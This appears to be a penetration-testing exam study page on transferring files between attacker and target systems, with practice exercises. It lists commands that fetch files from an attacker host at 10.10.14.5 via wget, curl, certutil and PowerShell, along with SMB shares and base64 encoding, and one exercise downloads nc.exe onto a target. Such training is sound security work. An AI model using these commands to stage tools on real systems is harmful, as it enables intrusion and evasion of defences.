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File Transfers

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📖 Overview

Methods to transfer files between attacker and target systems.

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Python HTTP Server

python3 -m http.server 8000 # Start simple HTTP server on port 8000

Download (Linux)

wget http://10.10.14.5:8000/file # Download file with wget
curl http://10.10.14.5:8000/file -o file # Download file with curl

Download (Windows)

certutil -urlcache -f http://10.10.14.5/file file # Download on Windows using certutil
powershell iwr -uri http://10.10.14.5/file -outfile file # Download using PowerShell Invoke-WebRequest

SMB

impacket-smbserver share . -smb2support # Start SMB server sharing current dir
copy \\10.10.14.5\share\file . # Copy file from SMB share on Windows

Base64

base64 file | tr -d '\n' # Encode file to base64 string
echo 'BASE64' | base64 -d > file # Decode base64 string back to file

💻 Command Examples

⚠️ Common Pitfalls

  • Firewall blocking common ports
  • AV catching transfers

💡 Exam Survival Tips

  • Have multiple methods ready
  • SMB often works when HTTP fails

🎯 Exercises

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fill command easy
Write the command to start a Python HTTP server on port 8000:...
multiple choice medium
Which Windows command can download files via HTTP without PowerShell?...
fill command medium
Write the PowerShell command to download a file from http://10.10.14.5/nc.exe to C:\temp\nc.exe:...

🗺️ Mind Maps

File Transfer Methods